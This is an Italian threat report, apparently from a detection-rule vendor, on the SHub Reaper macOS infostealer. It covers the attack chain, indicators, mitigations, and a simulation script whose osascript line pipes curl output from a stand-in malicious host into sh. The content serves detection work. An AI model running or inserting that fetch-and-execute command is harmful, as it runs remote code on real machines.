SHub Reaper | Il ladro macOS inganna Apple, Google e Microsoft in una singola catena di attacco

SOC Prime Team

Segui

SHub Reaper | Il ladro macOS inganna Apple, Google e Microsoft in una singola catena di attacco

Detection stack

AIDR
Alert
ETL
Query

Rapporto
Flusso di Attacco
Rilevamenti
Simulazioni

Riepilogo

Il report analizza una nuova variante di infostealer per macOS chiamata SHub Reaper, che utilizza installatori falsi di WeChat e Miro per consegnare un payload AppleScript malevolo attraverso un dominio Microsoft tematico con errori di battitura. Una volta avviato in Script Editor, il payload raccoglie dati del browser, file del portafoglio di criptovalute e informazioni sul portachiavi, quindi esfiltra i contenuti rubati come archivi ZIP segmentati. Il malware altera anche i file del portafoglio e stabilisce la persistenza attraverso un LaunchAgent mascherato da aggiornamento software di Google. La rilevazione raccomandata si concentra sull’esecuzione di AppleScript, sulla creazione sospetta di LaunchAgent e sul traffico in uscita verso l’infrastruttura di comando e controllo nota.

Indagine

SentinelOne ha monitorato l’intera catena di consegna multi-stadio, inclusi l’abuso dello schema applescript:// , la generazione dinamica del payload AppleScript e un modulo di acquisizione file che rispecchia il comportamento di furto di documenti visto in AMOS. I ricercatori hanno catturato il traffico di rete verso il dominio di comando e controllo hebsbsbzjsjshduxbs.xyz e endpoint correlati, insieme alla creazione di file temporanei sotto /tmp e un LaunchAgent posizionato nella directory Library dell’utente. L’indagine ha anche rivelato funzionalità di bot Telegram codificate durevolmente usate per la telemetria degli operatori.

Mitigazione

I difensori dovrebbero bloccare l’accesso ai domini con errori di battitura mlcrosoft.co.com, qq-0732gwh22.com, e mlroweb.com, e monitorare i LaunchAgent creati sotto i percorsi che imitano i componenti di aggiornamento di Google. Si dovrebbe usare una lista di applicazioni consentite per limitare l’esecuzione di AppleScript da fonti non attendibili, e dovrebbe essere applicata una verifica rigorosa della firma del codice. Le rilevazioni di rete dovrebbero anche avvisare sulla comunicazione con il dominio di comando e controllo identificato e sui suoi percorsi API noti.

Risposta

Se viene rilevata attività di SHub Reaper, isolare immediatamente l’endpoint interessato, terminare eventuali processi sospetti di AppleScript o LaunchAgent, e rimuovere i file malevoli da /tmp e dalla Libreria utente. Gli investigatori dovrebbero quindi eseguire una raccolta forense completa degli archivi dati del browser, delle directory dei portafogli e dei repository delle credenziali, seguita da reset delle credenziali dove si sospetta una compromissione. L’infrastruttura di comando e controllo identificata dovrebbe essere bloccata, e il team di risposta agli incidenti dovrebbe avviare una caccia alle minacce più ampia su tutta l’ambiente.

graph TB %% Definizioni delle classi classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodi – Fasi dell’attacco step_initial_access[“Tecnica – T1659 Iniezione di Contenuto: Siti web esca compromessi (falsi WeChat o Miro) ospitano URL applescript:// malevoli che distribuiscono il payload”] class step_initial_access action step_execution[“Tecnica – T1027 File o Informazioni Offuscati: AppleScript aperto in Script Editor esegue una chiamata curl nascosta codificata in base64 che decodifica ed esegue lo stager”] class step_execution action step_code_retrieval[“Tecnica – T1505 Componente Software del Server: AppleScript scarica il principale AppleScript malevolo da un server remoto”] class step_code_retrieval action step_credential_capture[“Tecnica – T1056 Acquisizione di Input: AppleScript richiede all’utente una password e raccoglie dati del Keychain”] class step_credential_capture action step_data_collection[“Tecnica – T1074.001 Preparazione Locale dei Dati: Filegrabber esegue la scansione di Desktop e Documents per individuare estensioni target e le prepara in /tmp/shub_<rand>”] class step_data_collection action step_archive[“Tecnica – T1560.001 Archiviazione tramite Utility: I file raccolti vengono compressi e suddivisi in blocchi da 70 MB”] class step_archive action step_exfiltration[“Tecnica – T1011 Esfiltrazione tramite Altro Mezzo di Rete: I blocchi vengono caricati tramite HTTPS sul server di comando e controllo”] class step_exfiltration action step_wallet_hijack[“Tecniche – T1553.002 Firma del Codice e T1036.001 Mascheramento: File app.asar malevoli sostituiscono binari wallet legittimi, utilizzando firme ad-hoc o non valide per aggirare Gatekeeper”] class step_wallet_hijack action step_persistence[“Tecniche – T1037.002 Login Hook, T1176 Estensioni Software e T1574.007 Intercettazione del Percorso: Directory falsa Google Software Update con un plist LaunchAgent (com.google.keystone.agent.plist) posizionata nel PATH per ottenere esecuzione persistente”] class step_persistence action step_backdoor[“Tecnica – T1219 Strumenti di Accesso Remoto: LaunchAgent esegue lo script GoogleUpdate ogni 60 s, invia beacon verso /api/bot/heartbeat e può eseguire comandi aggiuntivi”] class step_backdoor malware %% Nodi – Strumenti / Componenti tool_applescript[“Strumento – Nome: AppleScript Descrizione: Script eseguito tramite Script Editor per decodificare e avviare il payload”] class tool_applescript tool tool_curl[“Strumento – Nome: curl Descrizione: Utilizzato per scaricare AppleScript aggiuntivi e file di dati tramite HTTPS”] class tool_curl tool tool_launchagent[“Strumento – Nome: LaunchAgent Descrizione: Meccanismo di persistenza a livello utente di macOS definito tramite un plist”] class tool_launchagent tool malware_stager[“Malware – Nome: Stager Descrizione: Piccolo loader che recupera il payload principale AppleScript”] class malware_stager malware %% Archi – Flusso step_initial_access –>|porta a| step_execution step_execution –>|usa| tool_applescript step_execution –>|esegue| malware_stager malware_stager –>|scarica tramite| tool_curl malware_stager –>|attiva| step_code_retrieval step_code_retrieval –>|usa| tool_curl step_code_retrieval –>|abilita| step_credential_capture step_credential_capture –>|raccoglie| step_data_collection step_data_collection –>|prepara file per| step_archive step_archive –>|crea blocchi per| step_exfiltration step_exfiltration –>|consegna a| step_wallet_hijack step_wallet_hijack –>|modifica| step_persistence step_persistence –>|installa| tool_launchagent tool_launchagent –>|fornisce| step_backdoor step_backdoor –>|agisce come| malware_stager %% Assegnazioni delle classi class step_initial_access,step_execution,step_code_retrieval,step_credential_capture,step_data_collection,step_archive,step_exfiltration,step_wallet_hijack,step_persistence,step_backdoor action class tool_applescript,tool_curl,tool_launchagent tool class malware_stager,step_backdoor malware

Flusso di Attacco

Narrazione dell’Attacco e Comandi:
L’attaccante crea una stringa concisa che utilizza osascript per eseguire un comando shell. All’interno dell’AppleScript, do shell script esegue curl per scaricare uno script shell remoto (payload.sh) e lo indirizza direttamente a sh per l’esecuzione. Poiché l’intera catena è incorporata in una singola invocazione AppleScript, macOS registra un singolo evento process_creation il cui command line contiene entrambi osascript and curl, soddisfacendo la regola di rilevamento.

Script di Test di Regressione:

#!/bin/bash
#
# Simula l'esecuzione di SHub Reaper su macOS
# Genera un singolo evento di creazione processo contenente sia 'osascript' che 'curl'
#
MALICIOUS_URL="https://malicious.example.com/payload.sh"

# Una stringa: osascript esegue un comando shell che scarica il payload ed esegue
osascript -e "do shell script "curl -s ${MALICIOUS_URL} | sh""

Comandi di Pulizia:

#!/bin/bash
#
# Pulisce eventuali artefatti creati dalla simulazione.
# Il payload funziona in memoria e non scrive file, ma ci assicuriamo che non ci siano processi rimanenti.
#
# Termina eventuali processi 'sh' rimasti avviati dal test (da usare con cautela su sistemi di produzione)
pkill -f "sh -c curl -s https://malicious.example.com/payload.sh"

Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e aumentare immediatamente il valore, prenota ora un incontro con gli esperti di SOC Prime.

Iscriviti gratis